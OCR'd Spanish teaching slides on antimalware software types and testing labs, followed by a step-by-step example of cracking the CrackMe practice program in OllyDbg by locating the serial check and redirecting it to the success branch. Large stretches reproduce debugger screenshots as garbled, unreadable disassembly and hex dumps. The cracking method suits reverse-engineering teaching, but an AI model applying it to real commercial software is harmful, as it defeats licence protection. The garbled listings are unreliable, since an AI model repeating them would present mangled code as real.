detectar, bloquear y eliminar cddigos maliciosos. Es una herramienta
clasica que pretende ser un escudo de defensa en tiempo real para evitar
ejecuciones de archivos o accesos a web maliciosas. Existen versiones de
pago y gratuitas, los fabricantes suelen tener distintas versiones para
que se puedan probar sus productos de forma gratuita, y en ocasiones
para poder desinfectar el malware encontrado sera necesario comprar
sus licencias.
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3.- Proteccion y Desinfeccion

Clasificacion del Sw AntiMalware

O Algunas de las variantes actuales que podemos encontrar son:

< Antivirus de escritorio: instalado como una aplicacién, permite el
control del antivirus en tiempo real o del sistema de archivos.

< Antivirus en linea: cada vez se estan desarrollando mas
aplicaciones web que permiten, mediante la instalacion de plugins
en el navegador, analizar nuestro sistema de archivos completo.

< Analisis de ficheros en linea: servicio gratuito para analisis de
ficheros sospechosos mediante el uso de multiples motores
antivirus, como complemento a tu herramienta antivirus. De esta
manera podras comprobar si algun fichero sospechoso contiene o
no algun tipo de cédigo malicioso.

» Antivirus portables: no requieren instalacién en nuestro sistema vy
consumen una pequefia cantidad de recursos.

< Antivirus Live: arrancable y ejecutable desde una unidad extraible
USB, CD o DVD. Permite analizar nuestro disco duro en caso de no
poder arrancar nuestro sistema tras haber quedado inutilizado por
algun efecto de malware o no querer que arranque el sistema
operativo por estar ya infectado y no poder desinfectarlo desde el
mismo.
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3.- Proteccion y Desinfeccion
Clasificacion del Sw AntiMalware

QO Entre otras herramientas especificas destacamos:

< Antispyware: el spyware, o programas espia, son aplicaciones que se
dedican a recopilar informacion del sistema en el que se encuentran
instaladas para luego enviarla a través de Internet, generalmente a
alguna empresa de publicidad. Existen herramientas de escritorio y en
linea, que analizan nuestras conexiones de red en busca de conexiones
no autorizadas.

% Herramientas de bloqueo web: nos informan de la peligrosidad de los
sitios web que visitamos, en algunos casos, nos informan de forma
detallada, qué enlaces de esas paginas se consideran peligrosos y cuadl es
el motivo. Existen varios tipos de analizadores en funcion de como se
accede al servicio: los que realizan un analisis en linea;—Jos que se
descargan como una extension/plugin de la barra depinevessds
que se instalan como una herramienta de escritorio.,i _

L)

AntiSpyware
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3.- Proteccion y Desinfeccion

N

La mejor herramienta AntiMalware

O Conocer qué herramientas se ajustan a mis necesidades en cuanto a
consumo de recursos, opciones de escaneo, y cantidad de malware
encontrado en test de prueba, no es facil.

O Muchas de las empresas desarrolladoras de sw malware, muestran
estudios en sus propias web demostrando que son mejor que la
competencia, pero estos estudios pierden validez al ser conducidos por
la propia empresa. También pierden validez los estudios conducidos por
los equipos de usuarios (a pesar de que estos tengan buenos
conocimientos de seguridad informatica) debido a que generalmente la
muestra de virus es muy pequefa o se pueden malinterpretar los
resultados, por ejemplo contando la deteccién de un falso positivo
como verdadero.

Q Los estudios con mas validez son los que son hechos por empresas o
laboratorios independientes, entre las que podemos destacar:

% AV Comparatives (http://www.av-comparatives.org/)
< AV-Test.org (http://www.av-test.org/en/home/) @!ﬂ@_@ﬂs_
% ICSA Labs (https://www.icsalabs.com/)

ot Vrtran Husinans
/7

% Virus Bulletin (http://www.virusbtn.com/index) Vlrus
% West Coast Labs (http://www.westcoastlabs.org/) 74| 2] Eee————

BI.ILLETIH
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qgjgig%g ) éggg . ggg Egﬁ,E?x Calowlates <ign(ERK]

O4A131B)f - - _ T

D) B |TESTERL Ejemplos Practicos: Crack
wefs &5 JNE SHORT Aa4a1347

WAL 522 | o AGRE TPUSH 40 T -

QAAL3241[ o (68 FASA4AA8 | PUSH OFFSET ARdacerd ASCIT "Cerberus Keyaen"

R 68 44504000 | PUSH OFFSET fa4i5add RSCIT "Good Job cracker'Now weite a kevaen and a tutorial,”

A1 32E | oL 57 PUSH EDI =

D0AAE0F [ o [FRIS-adnaaart : e—

4A1335] [ » | SF PP EDI Chiea huenn |

e B S S

dada13a7]( » |50 POP EBP

HA4A1336] |+ (B8 0L0oaaaa MOV EAK,1

Ada13301 | » (58 POP EBX

WATS3E |+ [ BIC4 pdalaaaADD ESP, 164

A4l 3adlL o | C2 1008 LRETN 1A

0403471 | eSeR T PUSH 10

04A1345|{ of 68 FAR4000 | PUSH OFFSET ARASaRe ASCIT "Cerberus Kevaen"

DOAO134E || of 68 3504000 | PUSH OFFSET AR4ASa30 RSCIT "WronatETry againt”

A4a13531 PUSH EDI

4R34+ FFAS Se4id CRCC TRORD PR O%: TTRUSER 3z TessagetaRm |

T O PP EOI Chico malo

A4A1368 | SE POP ES]

Jump (8 taken
(est=keyaen, 00401347
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Introduccion:

Ejemplos Practicos: Crack

OLa mayoria de los sistemas de validacion se basan
en introducir un nimero de serie correcto. A la
hora de introducir el nimero de serie, dentro del
programa se realiza una pequefia comprobacion vy
Si es correcto activa el programa (CHICO BUENO)
y si no es correcto entonces te muestra que el
numero de serie es incorrecto (CHICO MALO).

QSintetizando mucho, para saltar la proteccidon de
un programa tan sélo hay que localizar la zona
donde el sistema realiza la comprobacién e indicar
que siempre (sea o no sea correcto el niumero de
serie) se vaya a la zona de activaciéon (CHICO
BUENO).

OPara poder analizar y modificar el programa se va
a utilizar el editor hexadecimal OllyDB.

QPara ver un ejemplo se va a utilizar el programa
Crackme. El programa Crackme esta protegido
mediante un numero de serie. Si introduce el
nimero correcto se registra y si el nimero de
serie no es correcto le indica que no ha tenido
suerte.
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@ CrackMe v1.0
File Help

Crackhle +1.0
Whitten by Cruehead / WEiE

If o fadl, madl me for the solution!
ctizehead @hotmail com

QR

Register E|
Matme |z'31 dinin
Serial |11

Ik Cancel
Mo luck!
! E o luck there, mate!

|
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Paso 1. Buscar con el ollydb las STRING REFERENCES:

= cjemplot |:| |E| FE
Grchivo  Edicidn Yer  Favoritos  Herramientas  Avuda ] f
e fkrds - \_) L’@} f.__xj Bisgueda i Carpetas | 0 x n v @ Sincronizacian de carpetas

Direccicn | Sjemplol v Ir

—y -
[—— odbg110.zip
L,_J odbg110 @ CRACKME.EXE E | 305 KE

Abra el programa Crackme con el ollydb. | |

Seleccione el botdn que busca cadenas vy M"@“
localice el mensaje de error "NO LUCK THERE, =
MATE”. Para ellos, hay que pulsar el botdn

derecho del raton sobre la ventana vy @
seleccione: Search for all referenced string |
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http://dis.um.es/~lopezquesada/documentos/IES_1112/SAD/curso/UT5/ejemplo1/odbg110.zip
http://dis.um.es/~lopezquesada/documentos/IES_1112/SAD/curso/UT5/ejemplo1/CRACKME.EXE

E.EXE - [CPU - main thread, module CRACKME]

IE File Miew Debug Fluginsg Options  Window  Help - 8 X
HIES - 0
i «x] o] v+ 1] 9] = wle|m)rw]s)cl/|x|5|8].]s]
5 &6H oo plodu e = HULL Registers [FFPU) Z
e [ B8 Fro4omod | CHLI CurP.tKERNELSZ, Gettodu LeHandleR> | LBt Had LeHond 12f A
spdnionr| | L 63 Co HOU DWORD' PTR 05z [4628CA], ER e - L Ega g
. L1t le = —_ A
oo40100E || 1 62 F4204808 | PUSH CRACKME.BB4620F4 [n::lass = "Ng need to disasm the codet” EDW rLIlESLY ntdll.KiFastSystentallRet
podnioisl| L ES HEBAGRRD | CALL CJIE.SUSERSZ. Findiindowd> F indilindowh iy S
aaaaiaiz|| - sECE OF ERA, EAM Eemgal it
aa4eialn|| tw74 Bl JE SHEIHT CRACKME. 83481810 EST EFFEFFFE
pagpioill) . 2 RETH EDI 7Co28228 ntdll.7CI26228
aa4e1a10||  CFes s4cm4men| MOV DWORD PTR OS:[4820641, 4803 : _
AE4a1a27 || . CPES GECA4REE| MOU DWORD PTR DS: [4826521, CRACKME. UndPr EIF B@4@1888 CRACKNE. <Modu leEntryPoint >
aE4e1621 || . CFES GCom4med| MOU DWORD PTR DS:[48286C1,8 -
oo4niosE|| 1 CreE Phzedmaa MOU DWORD PTR DS:[4656761,0 E Y OED ooTn gebir BIERERRECES
aa4eia4s|| - Al CAZE4M@E | MOU EAX,DWORD PTR DS:[4826CA1 A ) e
pE4a1m4a|| - A2 MOY DWORD PTR DS: 4826741, E0Y S - F R
pa4a1a4F|| . &R 54 FUSH 64 RzrocHame = 168, L h P e SRR
pE4a16c1 || - 5@ FUSH EAY [hInEt =% MULL =8 B R et
e bl e :d
aadnicec|| - &5 BETFRGGE | FUSH FRo@ Ferchame = IDC_ARROY 0@ Leoddswy Eimil (0 R ANRY Qe
foacincs | 1 28 BSacmeoe | BALL CHP.tUSERSZ. Logds as [EIHEE it crL manmade (LR E.ER TR PR LS
. . « LO3 IS0 (k=] IS0 —
poanioes| | o RS Phzedeee | AOU CWORD FTR DS:[46287C1, EAN LR iy LRSS T
aE4eia0|| - CFES oogpemes| MOU DWORD PTR DS:L4828261,5 2T by LUNORM B9eD GBeonard BACEeEal
aa4eia77|| . CFBS S4cm4med| MOY DWORD PTR O5:[4B28541, CRACKME. B8482| ASCII "MEMU™ 215 oot TOMORM DOLE GESCEBEE BATSORCL
aE4Eiazl || . CPEE S2PR4m@d| MOV DWORD PTR OS:[4820827, CRACKME. 384820 ASCII Mo need to disasm the codet™ 2T bty LUNORM DOSC GESiGBEE BaLCHETS
AE4E1R2E|| . 68 A4PR4REA | PUSH CRACKME. AO4G2R6S [ClndC =<2 = CRACKNE. Gadb2aed oTe oY TUNORM DOEC GBSBeRSI 0a5ioacs
Aa4a1a9a|| - ES F9830808 | CALL <JNP.&USERSZ.RegisterClassAs ReaizterClassh e e
aa4a1635 | . A ae FUSH & FLFaram = HULL I3 oty 1 ARPRAARARERRERREERE
aE4e1057 || - FFS5 Crom4mea| PUSH DWORD PTR DS: [4828CA1 RInzt = HULL e BolEEdiisees o S
SS:E%SEE . gg SS EHEE g REE““ = HUthL FST 46268 Cond 1 @ @ 6 Err GG 1 GGG G
arent =
Ge4piohl|| o &2 Beceemes | PUSH copm Heilght = SBBE (32762, ) A WErE Fres nled,se Heele O d 4 4
pa4aioane|| - 68 DEoPeRER | PUSH oo Widih = SAEE (I2FES. )
pE4a1aRE|| . 6A GE FUSH BE Vo= BE [118.]
aa4a1an0|| - 68 B4BeeRea | PUSH @B4 % = B4 (128, )
pa4aiaEz || - 68 BEEBCFeA | PUSH BCFosea Stule = WS OUERLAPPED!WS_MIMIMIZEBOH ! US_MAXINIZEEOR | WS_SY
AE4E10ET|| . 62 FUSH CRACKME.@04628E7 Windowtans = "CrackMe wl. 8"
BEdE1HBC [=35] FUSH CRACKME. Bad4@zaF4 Class = "Mo need to disasm the codet™
pa4aiacl || . A 6e FUSH @ ExtStuls = B
AE4a1acs | - ES COB3@@@A | CALL <JMP.&USERSZ. CreatellindowExA: | CreatallindowEsA
pe4a1aca|| . AZ MOY DWORD PTR OS:L4820841, EAX
it A e | & R[] | repeeaee, 8 SHLEIIRIAAL ¥
CRACEME. <Modu LeEntryPoint
Address |Hen dum ASCII TCE16FEY| RETURM to kernel32.vCEIGFEY
BO40Z000] 00 DO 0 GG 00 08 D0 0] +x».. .\ APGUISFrCs) Cozueos|neal |, roazozes -
AR4GIERS| 60 06 GO 0O G0 GF G2 68| ... ... .. pelcFPLE ERFEEFE
AE4EZA1A| 60 GO 05 06| A8 B3 GB GF| . ... ... T | R
AE4EZA12| 60 GF 05 06| B8 63 6B GF|........ palsEEDd| Sabsharh
AE4EZAZA| 60 G0 05 06| 8 B3 GB GF| . ... ... palzrrDs| Dalsrrts
AE4EZAZE| 60 G5 05 06| G B3 GB GF| . ... ... .
R R B S SR BR i ap| ooonoe BE1ZFFE4| 7C239aFa| SE handler
SREeed o B S8 B B EE 1 ai| nooooee BE1ZFFEZ| FCB16FFA|kerne |32, FCELEFFE
AE40Z043| 00 0D O OF| GO B8 B8 B8] .. ..., L e
AE4EZACA| 60 GF 05 06| G0 B3 GB GF|........ palzErRa| pooooaan
AE4EZA5E| 60 GF 05 06| G B3 GB GF| . ... ... .
SmpeaR o BE S0 R B EE 1 ai| nooooeee BE1ZFFF2| BE481068| CRACKNME. <Modu LeEntryPoint >
AB4OZEEE| 00 OO O OF G5 G5 96 98| ........ BEL=ZFFFC| Bo@REoas
AE4EZA7E| 60 GO 05 06| G0 B3 GB GOF| . ... ...
AE4EZA7E| 60 G5 05 0G| 68 B3 GB GF| . ... ...
AE4EZA5A| B0 BE OO PG| B B8 G BE| .. ......
AE4EZASE| 00 GF 05 06| GG B3 GB GOF| . .......
AE4EZA0A| 60 G0 05 06| 8 B3 GB GF| . ... ...
AE4EZASE| 60 GF 05 GG R B3 GB GF| . ... ...
AE4EZA0A| B0 BB 05 06| G B3 6B GF|........ =
BE4GZBAS| BB 00 GO BE| 0O G5 B8 BE|........ [ w
paint | | Pauszed

Program entry
-

T ———————————




File Vigw Del:uug F‘Iugins

Optiu:uns

s 6H BA pModule = HULL i
Beooions) [« £8 FPedonop | CALL CuiP.4KERNELS2. Getlody LeHand leR> [EEtHuduleHandleH e :
podpipor|| . A3 chzpdopn | HOU DWORD'FTR DS:[4826CA1, EAK e - HULL Eagae
. Ltle = — H
Go4e100E || 1 68 F4204800 |PUSH CRACKME.@B4620F4 [u:tass = "Ng need to disasm the codet” EDs FLILESLS nedll.KiFastSystenCal Rev
oed6i612|| - ES GEG4BREE |CALL <JHP.USERS2.F indiindowd: F indhlindowh S PEhneER
podmimia|| . BECE OF EAX, EAX = e
paaaialal| w74 1 JE SHORT CRACKME.BE4E1a10 Ze fercrd
podgialllly o2 RETH EDI 7LO2B228 ntdll.7CI20228
godaiain|| > C7ES A42949@@|MOU DWORD FTR DS:[4828641, 4863 _
gpaciocr|[ . CroS esguaggg MOU DUORD PTR DS: 4620621, CRACKNE. lindPr EIF @G4G1686 CRACKME. <Modu leEntryPoint
. ﬁ Ead EEE B D .
oa4c162e|| - C785 7AcedEan| MOU DWORD PTR DS: (4026701, £ ORI EESE sepin BILEERERRD
oodninds|| - Al CAZRde@e | MOY EAX,DWORD PTR OS:[4828CH] LB RS RiER Sl DRSS
ea4aiE4n|| - AZ F42A4MER | HOU OWORD PTR OS:[4826741, EAR Backup 3 80 P2 aeca obis BiFFFFFFFE)
oadnindr|| . &R &4 PUSH 54 Ferchame = 108, LB P thE et e
eadaiegl || - S PUSH EAX [hInst =5 MULL Copy 3 ER i
oadnicgz|| - ES Diegeee@  |CALL <JMP.3USERS2.Loadlconfs LoadIconA Ei R 0R
BE4E1857 (| - A% PESA4EER | HOU DWORD PTR OS:[4826781, EAX inary
saanicec|| G BETFRODE | FUSH TRE@ FercHame = IDC_AR DF Leeddw ERIL AT (e
GR4E1861(] . &R B8 FUSH @ [hInst = MULL Assermble Space EFL BB@@@24¢ (MO,ME,E,BE,MS,PE,GE,LE)
oadnicez|| . ES Aeegeees  |CALL <JMP.3USERS2.LoadCursoc: Loadtursorh ~
mp4aipes|| o Ag 8 | MOU DWORD'PTR OS5: [48287C], EAX Label LR iy S S e L
eodai6e0|| . CTES goze4e@s| MOU DWORD PTR OS: [4828981,5 Comment . ET2 empty +UNORM BEE0 DECOE074 BRGEREL]
Ga4G1677 || . CFEE S42RdRam| MOY OWORD PTR O5: (4626341, CRACKME. B8482) ASCII “HENU™ ; 275 cnErt LUNORM BPS DOCCDDES DRSSoRE]
goaniozl|| L CPeS G5264088| MOU DWORD PTR DS:[4029881, CRACKNE. 84621 ASCII ™Mo need to  Ereakpaint ' ST4 EnErt LINORM BOSE BOSIGBLR DRGCORSE
ga4a16%6 1 . ES F3@38088 | CALL <JMP.%USER32.ReqisterClassH> RegisterClasszH Hit krace 3 ETE eppty 1. IRARGE0AEEEHAGHEEEE
eadninis|| - 6O @@ FUSH & ] [Param = HULL e BRPBAREOREEAAERARRE
Go461657 || - FFS5 CAZB48@8|FUSH DWORD PTR DS: [4826CAT hInst = HULL RN trace 3 251 ESPUDZO
eadnicon|| - eR GE PUSH @ hfeny = MULL o eEn Gl L AR R BB R L DM e
eadnicoF|| - &R 6@ PUSH @ hParent = HULL e e R R
pndnionl|| . 6% DEoeoEEE | PUSH Se0m Height = 9888 (32 Goto 3 '
oadnions || - 6% GEoAGEGE | PUSH 2066 Widih = S@AEE (327 _
eadnicie|| - &A &E PUSH 5E Yoz GE [118.] Follaw in Dump 3
pondnionn|| . 6% BdmomeEE | PUSH GE4 ¥ o= B4 (19@.) .
. tule = | L 1 .
A48 1602 68 BEEACFEE |PUSH BCFEAEGE Styl WS_OUERLA  “iew call tree Cerl+HE FEBOR | WS_SY
padaicer|| - &2 PUSH CRACKME. BR4828E7 WindowHame = "Cra
podeicec|| . &2 PUSH CROCKHE . BR4B2EF 4 Clazz = ™Mo need .
fantors | o BS Commmem | CALL C.HP.SUSERSZ.C W indowEs A} Ereat ol indogExA d  tame (labelin current module. Chrk+
. . «CreatellindowEs LCreatellindowEs . .
aadpiacs|| . A3 HOW DWORD' PTR DS: [ 4628641, EAX Find references to ¥ Namein all modules
i T [ S ) 1 =1 [Chowstate = SWLSH -y, »
Cormmand Ctrl+F
Zopy ko executable ¥
) Sequence of commands Zhrl+5
CRACKME. <Modu LeEntruPoint > Analysis 4 Constant
Address |Hen dump ASCIT ] ] - PEE1EFET Y
BO4EZOR0] B0 B0 B0 GO EE BF 00 0B)........ Bookmark. k| Binary string Ctr+B =
BR4GIEAZ| 60 GO G0 0G| GO 00 B3 68| ... ... ..
BOR4GZA1G| 60 GO G0 0G| G0 00 B3 68| ... ... .. .
BE4BZH1Z| 00 OO OF OR| 0D 00 OO 66| ........ Appearance ¥ Allintermodular calls
BOR4GIEZ6| G0 GO GO 0G| G0 00 B3 68| ... ... .. Al 4
Bb462050| ob 5o B9 6a| D5 0B 48 BB|..11ll1 comman
BE40ZE5E| B0 00 B9 00|00 88 08 89| ........ All sequences
BO4GZR4G| G0 GO GO GG G0 00 B3 68| ... ... .. Al constants
BO4GIA45| 60 BE GO 0G| G0 00 G 6B ........
BOR4GZECE| G0 GO G0 0G| G0 00 B3 68| ... ... .. all swirches
BR4GIECS| G0 PO GO GG GO 00 GE 68| ... ... .. S
AR4AZAGE| AR B0 BR A0 B8 B8 B8 @8|........ ryFoint
BR4GIRLS| G0 GO G0 0G| GO 00 B3 68| ... ... ..
BOR4GIETE| G0 GO GO GG GO 00 GE 68| ... ... ..
AR4EZETE| BB BE BE GRG0 68 66 BE|........ ser-defined label
BOR4GIAS6| 60 GO G0 0G| G0 00 B3 68| ... ... .. _
BE4EZE00| B0 B0 B0 BE| 3 B9 00 08| ... .0.0.. User-defined comment
BO4GIA9G| 60 GO G0 06| G0 00 B3 68| ... .....
BR4GZEIZ| 60 GO G0 GG G0 00 B3 68| ........
BO4EZEAG| 68 B0 G0 GO B0 08 B3 08| ... ... —
BE4EZGRS| 66 B0 0O 06|60 66 68 68| ........ w w
Pragran entry paint | | Pauzed



File Yiew Debug Plugins

Options

Window  Help

BE4E1EE2

5

. CPES 8284
. CPES &Cz2Ad
. CVES FA2A4
« Al CHZA4O0E
. B3

. BA &4

. BB
. ES DiG3E0Ee

&l 8o
E2 FFE4p868
A2 CRz84880

. EH Ba
« 62 F4204000
. ES_ReB4E0Ea
. BECE
g Al

3

C
C7ES £4284

FUSH 8

CALL <JMP.&KERMEL3Z. GetModu leHand ler
HMOU DWORD PTR DS:

FUSH &

PUSH CRACKME.BE4620F4
CALL <dHP LUSERZZ.F indWindowr >

OF ERX
aE SHDRT CHHEKHE

1/ £|m) 7| w| 8] | /|| B| R[] 5]

[pﬂodule = HUL
[4828CAT, EAX

Class "Ho n

[Tltle HULL
FindWindowR

aa4a1a10n

E3 Text strings referenced in CRACKME:CODE

Address

Disassembly

Registers [(FFU)

GetModu LeHand 2

BREEAEEE

BE12FFEG

TCP1EE14 ntdll.KiFastSwstemCal LRet
TEFODAEE

BE12FFC4

BE12FFF@

FFFFFFFF

TCO282228 ntdll. PC928228

640100
Fush ER ppapierr
83401851

CRACKME. <Modu lLeEntryPoint *

BE46818E7
BE46818EC
ga4a11Fv
BE481213

Address

Hex dump

BE468134F

BE4EZEEE

G4 E2EEE

BE461354
BE4E1 368
BE46137E
BE4613AF
Ba4a1364

FIISH &

FUSH CRACKME. BE4828F 4

MOL DWORD PTR DS: [4828241, CRACKHME . Ba4682
MOU DWORD PTR DS:C4828221, CRACKME. BR482
USH CRACKME.B@4828EY

FUSH CRACKME.BE4028F4

FPUSH CRACKME.@848211F

FUSH CRACKME.BE482115

FUSH CRACKME.BE482129

FUSH CRACKME.BE482134

PUSH CRACKME. BE4E2156

FUSH CRACKHME.BE482169

FUSH CRACKME. 8402160

FUUSH CRACKME. 88482169

Tent_string : — Después vuelva a pulsar con el

[Initial CPU selection)

il e pesd be disso Ghe see. boton derecho vy seleccione

ASCID "Mo nesd to dizsasm the o.det™ Follow in desasemble
ASCII "CrackMe wi1.8™

ASCII "Mo need to disasm the /codet™
ASCII "DLGE_RBOUT™

ASCII "OLG_REGIS™

ASCII "Good workt™

ASCII "Great work, mate’ dHMow tryw the nedt CrackMet"™
HSCII "MHo luck?t™

BSCII "Mo luck there, matet™

ASCII "MHo luck?t™

ASCIT Mo luck there, matet™

Program entry point

| | Pauszed

e —————



E.EXE - [CPU - main thread, module CRACKME]

IE File Miew Debug Fluginsg Options  Window  Help - 8 X
Blx| vin| vy $14 ) LlE|M/T|wH|C|/|K|B[R||S]
BE4B1326]] - GE FOF EGI i
pa4a13z7(| - 5B POP EBX A (Beatzters [FFL) :
= L
pa4a1z2C[ 3 BI?D 19 Fzasat O DIDRD PTR 55: CEBP+101, 3F2 EDW rLIlESLY ntdll.KiFastSystentallRet
po4a1353(| 175 JNz SHORT CRACKME.DR4a1346 e
Ban oo | 3" EA_ab PUSH @ Result = B SE et
cnlben o | Wremeeng, [l
. n Lalog n Lalog
aa4nizar || - BE BloRREBE | AOU EAH, 1 A GRS waell Lo pERetiEs _
pa4ai34q|| .~EE DF JHP SHORT CRACKME. 28481325 EIP B@481088 CRACKME. <Modu leEntruPaint>
po4niz4e| | > BE BEGR@EEE | MOU EAX,B y
pa4a134e| L ~EE D8 JHP SHORT CRACKME. 28481325 2 B T R
Bo461340| r§ BA 36 PUSH 3@ PStyle = MB_OKHE_TCONEXCLANAT 10N | HE_APFLHODAL TR e
padaizdF|| . es PUSH CRACKIE. B8482129 Title = "Ggod work? 2 Y BZ 6823 320.C BiFFFFFEFF)
Aa4E135411 . 63 FUSH CRACKME. Ba482134 Text = "Great work, matettMow try the next CrackMet™ S B FS BESE 27hit TEFOFGEGELFFF)
pa4nizcs| | 1 FF7E Ba PUSH DWORD PTR_SS: [EBP+8] hwn ex T
SS:S%%E? . Eg Deaoa0as Eg%h “JiP.&USERZZ2. MessageBonA> -MessageBosA 0@
poaoizelit: 63 o REIN [BeeoTure = MB_OK 0 6 LastErr ERROR_MOO_NOT_FOUND (BB8OAG7E
Bodgiicd|| . ES ADBBEDED | CALL CIP.GUSERSZ.MessageBesp) llessaszBesp e FEONEXCLART 0N HE_ApPLHAL EFL B@8e8246 (NO,NE,E,BE, NS, PE, GE, LE)
0 [otule = -
oo4nizce|| L e8 dez14mpa | PUSH CRACKME. 0482168 Title = "Ng luck LR iy LRSS T
pa4a1ava | o £2 PUSH CRACKME. Ba4A21 63 L e Lk there, matet” STs o TUNDRM Bech Dacoaacs PacEondl
Go461572|| | ES BODB@EEE | CALL <JHP.&USER3Z.MessageBonA> LiessageBonA 213 ShERM DL Gect aaRreecR Geiceach
s arEr oy B! . STE empty +UNORM GOSC DO3A0031 06310667
SO |TY BT B il SR Ll TIPSRl STE enpty 1. AAAOABARGDAEAAAAEGE
po4m1223|| > Bhes rHOU AL, BYTE FTR 0S: (€511 S EERE HolEEAA st g e
Saniaor|| vEe 1a A — B A e R
padai3as|| I ac 41 CHP AL, 41 :
po4m13e|| 72 1F JB_SHORT CRACKME. B24@13AC
pa4ai3a0|| 2 ac sA CHP AL, 5A
po4m1zeF|| 75 83 JHE SHORT CRACKME. 28481394
pa4ai3a1|| 248 INC ESI
pa4a1392|| .~EE EF JHF SHORT CRACKME. B@481383
oa461354|| > E5 3opeeeee || CALL CRACKHNE.Be4@]s0z
padaizas| | o 46 INC ESI
pa4a1390|| .~EE E7 LJHF_SHORT CRACKME. 28481383
pa4aizac| | 3 S POF ESI
okl o SR PR || B S b
BE4B21 63=CRACKNE. DB4B2169 (ASCIT Mo Lok there, matet ]
Add Hen d ASCII TCE16FEY| RETURM to kernel32.vCEIGFEY
T T N e A POTZPPCE| roozozzs|ntdl L. rLozazes &
"""" DE1ZFFCC| FEFFFFFF
BO4AZE0S| 06 0O BB 06| 0O BE 68 Bal L1111l
=|oo12FFo6| rFFODBGR
BE4AZE16| 06 OO BE 06| 0O BE 68 Gal L1111l
DE1ZFFO4| SBEEGZFA
BE4AZE1E| 06 OO BE 08|00 BE 68 B8l ...l
DE1ZFFOS| B81EFFCE
BE4AZO26| 06 OO BB 06| 0O BE 68 oal L1111l
pE1ZFFOC| 86230930
BE4AZOZE| 06 OO BE 08|00 6O 68 Gal oL llllll .
BE1ZFFEA| FFFFFFFF|End of SEH chain
BE4EZG36| 08 DO BE 08| 0O BE B8 BEl ..ol
DE1ZFFE4| PCES9AFE| SE handler
BE4AZG3E| 06 B0 BB 08 0O BE 68 oal L1111l
DE1EFFES| PCE1EFFD| kernel32. FLELEFFD
BE4AZE46| 06 OO BE 06| 0O BE 68 Gal L1111l
DE1ZFFEC| BEBEGHR
BE4EZE4E| 06 DO BE £ 00 6O 68 DAl ...l
DE1ZFFFG| BERBBOAG
BO4AZEEA| 0O OO BE 06| 0O BE 68 BEl .11l
BR4AZE5E| 98 G5 09 06|00 08 603 09 il R .
"""" DE1EFFFE| @8401066| CRACKME. <Modw LeEntryPoint >
BE4BZOEA| 06 OO BE 06| 0O BE 68 Gal L1111l galsFrrs| podalos
BE4EZHEE| 06 OO BE 08| 0O BE G B8l ...l
BE4AZETA| 0O OO BB 06| 0O BE 68 Gal L1111l
BE4BZETE| 0O OO BB 06|00 BE 68 Bal o111l
BE4EZE5A| 08 OO BE 00|00 6O 68 DAl .1l
PE4AZO5E| 06 0O BB 08|00 BE 68 oal L1 llllll
BE4AZE9A| 06 OO BB 06|00 BE 68 oal L1111l
BE4AZE9S| 06 OO BE 06|00 BE 68 Gal L1111l
BE4AZEAA| 0O OO BE 06| 0O BE 68 B8l ...l —
PE4AZOAS| 06 6O BE 08 DG BB 68 B8l .1l v v
|Miu:rc:su:ul:t PowerPaint - [T, 5.- Software .ﬁ.ntimalware.pptx]h | | Pauszed

Program entry point
-




Ejemplos Practicos: Crack
Paso 2. Buscar con GOTO el lugar en el que se encuentra la zona
de “chico malo”:

A continuacion busque con GOTO el lugar en el que se encuentra la
zona de chico malo, porque muy cerca debe encontrarse la zona de
chico bueno

a1 248
1240
L a4F
1254
a1 253
L350
el 6]
il e
a1 204
a1 26
(a1 26
a1
a1
haLard
| H34a1 31T

LB 8
5 o 3
, 68 25214000

, B 242140
 FF7a 08

, £ oo
L, (3
5 6
, £ ADGh
B 3

, 68 240

, B 72140
 FF75 08

, £ DG
L, [

JP SHORT CRACKIE, 64a1325
FIISH 30

PIUSH CRACKHE, Rda2t 24

PIUSH CRACKHE, Ada2t 34

PIUSH CHIORD PTR 55 (EBP+8]

CALL MR, bIJSER3Z MessaaebonR
RETH

FIISH

CALL MR, bIUSERSE, MessaaeBeen;
FIISH 30

PIUSH CRACKHE, Reda2t&e

PIUSH CRACKHE, ada2{ed

PIUSH CHIORD PTR 55 (EBP+8]

Eg%h WP, BlISER3Z, MessageBonRy

5ty e = 1B OKHB_ICONERCLAMAT ION: HB_ARRLMODAL

[t 1e = "aaod work!™

Tewt = "areat work, natetINow try the nest Cracket”
huner

k[lessa0eBau

[EeepTyue = 116K
les5a0eBeep

5ty e = 1B OKHB_ICONERCLAMAT ION: HB_ARRLMODAL
[1tle = "N lyck?

Tent = "Ma luck there, mate!”

huner

k[lessa0eBau




Ejemplos Practicos: Crack
Paso 2. Buscar con GOTO el lugar en el que se encuentra la zona

de “"chico malo”.

QEn el cédigo anterior puede verse resaltado el texto, y un poco mas arriba
el PUSH 0 que introduce las funciones en la pila. Si se sitla sobre PUSH 0,
pulse el botén izquierdo y vaya a goto, nos lleva a la siguiente situacion (el
CALL el cual partira el salto):

UWyDbg - CRACKME. EXE

Fil= Wiew Debug Plugins Options  ‘Window  Help - 5 x
=] 44| x| JJ i ed] E[4E ] - nlE[M{T|[w/H|[c|s|K[B|R[...[ 5]
EEEEREEE | I FUSH EE= o | B=gizter= (FPU <
asizer|| 1 e FLSH EoT — | EE: govesone
4 i/l - 2ivo_ec 11ei1elcAF DWORD PTR SS: CEEP+C1, 111 ;
=+ =[] 174 1= JE SHORT CRACKHE.Soa@1328 EE ele=nEsie: mocel boRiFestspeter=al L3
4 all - &=vbTec 1m CHP OWORD FTR SSiLEEF+C1, 18 ECagaEREES O
= Ell 22 i5ocooms |5, SHEET SRACKNE. Badm1 S5t S EEhEEEE
Eh =[] & = FOF EDT' Eol FEEEREEE niali.rcozezes
E =l - =E POF ESI -
E =l - =B FOF EEH = |E1Fr erasieee CRACKME. <Modu leEntruPoine
E =] - e= LEAUE
C @ ES B2z SEhit @t F1
Eh | & ER_SEEE || GRS F 1 CS BElE ZzZbit @[ Fl
E C|| ¥ 2ivh 18 Feezel CHP DWORD PTR _SS: [EEF+181, 3F2 B =28 EheE EEERE B =
4 || BEEE iz SHORT CRACKNE. BE481342 . . a BB = R EEahe B =
sesult = Fi
4 |l I FEreE B2 FUSH DWORD FTR S5: LEEF+21 [hwnd =S B B3 EEER e o =Y
< ol] - Es fgeleess | CACL <omE.sUSERSZ.EndDislos> EndDialog L
| BE Ol e 80 sl BEmumu iy oo
; & .ME.E.EBE,MS, PE, GE.
4z1z4E|LI~EE D ORe SHDRT CRACKHME . BB4@1 325
- _ S5TE empty —UHORM EDEC B18S81084 GESEERSY
FERE] gg 28c14g0e | POSH CRACKME. godoziss TiriD = NESohUopi FRNEHELANATION HE_ARPLIODAL S, CUU=Ron ShRorE EEE Ry EESEEEEE
